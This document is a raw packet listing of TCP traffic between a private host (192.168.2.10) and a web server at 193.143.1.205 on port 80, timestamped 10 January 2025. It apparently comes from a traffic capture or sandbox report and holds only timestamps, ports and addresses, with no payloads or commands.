Jan 10, 2025 22:21:08.975055933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975068092 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975158930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975169897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975182056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975195885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975208998 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975210905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975223064 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975251913 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975253105 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975410938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975426912 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975440979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975451946 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975464106 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975466967 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975477934 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975480080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975491047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975518942 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975539923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975709915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975727081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975747108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975756884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975765944 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975769997 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975788116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975792885 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975800991 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975814104 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975826025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975836992 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975840092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975853920 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975853920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975874901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975889921 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.975940943 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979109049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979185104 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979207039 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979217052 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979228020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979235888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979243994 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979252100 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979258060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979269028 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979305983 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979305983 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979404926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979422092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979434013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979444981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979456902 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979464054 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979468107 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979480028 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979489088 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979490042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979504108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979504108 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979515076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979532003 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979542971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979556084 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979556084 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979557037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979568958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979581118 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.979613066 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.979613066 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.989973068 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030426979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030507088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030524969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030538082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030550003 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030559063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030565023 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030579090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030590057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030602932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030616045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030627012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030638933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030651093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030663967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.030692101 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030692101 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030693054 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030693054 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030693054 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030714035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.030714035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047570944 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047585011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047597885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047655106 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047669888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047669888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047682047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047698975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047709942 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047722101 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047733068 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047744036 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047755957 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047760963 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047760963 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047768116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047806025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047817945 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047823906 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047832966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047838926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047843933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047918081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047918081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047934055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047945023 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047955990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047966957 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.047992945 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.047992945 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.048811913 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048829079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048841000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048851967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048871040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048878908 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.048878908 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.048882961 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048896074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.048923969 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.048923969 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064587116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064608097 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064620018 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064650059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064661980 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064681053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064697981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064711094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064794064 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064794064 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064794064 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064794064 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064845085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064856052 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064868927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064881086 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064903021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064918995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064922094 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064933062 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064944983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.064955950 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.064955950 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065063953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065217972 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065232992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065247059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065257072 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065258980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065258980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065277100 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065290928 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065303087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065311909 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065311909 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065319061 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065330029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065340996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065351963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065365076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065370083 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065370083 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065375090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065423012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065426111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065426111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065434933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065448999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065459013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065469980 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065480947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065493107 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065498114 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065498114 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065541983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065558910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065571070 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065581083 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065582991 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065582991 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065594912 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065604925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065623999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065633059 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065633059 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065635920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065646887 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065659046 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065684080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065709114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065748930 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065748930 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065772057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065783024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065834999 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065840960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065851927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065871954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065888882 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065901995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065918922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065928936 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065929890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065932035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065943003 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065953970 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065994978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.065998077 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.065998077 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066009045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066015005 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066020966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066026926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066119909 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066132069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066143036 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066174030 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066185951 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066193104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066193104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066196918 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066204071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066227913 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066426039 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066445112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066457033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066468000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066479921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066490889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066498995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066498995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066498995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066503048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066508055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066509008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066515923 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066521883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066531897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066536903 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066549063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066561937 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.066596985 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066596985 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.066596985 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.121073008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121083975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121100903 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121114016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121124983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121131897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121143103 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121157885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.121287107 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.121288061 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138128996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138168097 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138184071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138195992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138207912 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138221025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138247013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138257980 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138269901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138288021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138299942 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138318062 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138339043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138355017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138361931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138366938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138381004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138381004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138381004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138381004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138381004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138417959 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138417959 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138427019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138438940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138451099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138463020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138474941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.138478041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.138511896 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.139507055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139518976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139529943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139565945 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139579058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139579058 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.139590025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139596939 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.139602900 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.139636993 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.139688969 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.155200958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155249119 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155266047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155277967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155287981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155299902 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155308008 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.155318022 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155330896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155333042 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.155390024 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.155953884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155972958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155983925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.155994892 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156006098 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156018019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156017065 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156029940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156039953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156054020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156064987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156075954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156075954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156095028 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:09.156099081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:09.156112909 CET	80	49705	193.143.1.205	192.168.2.10
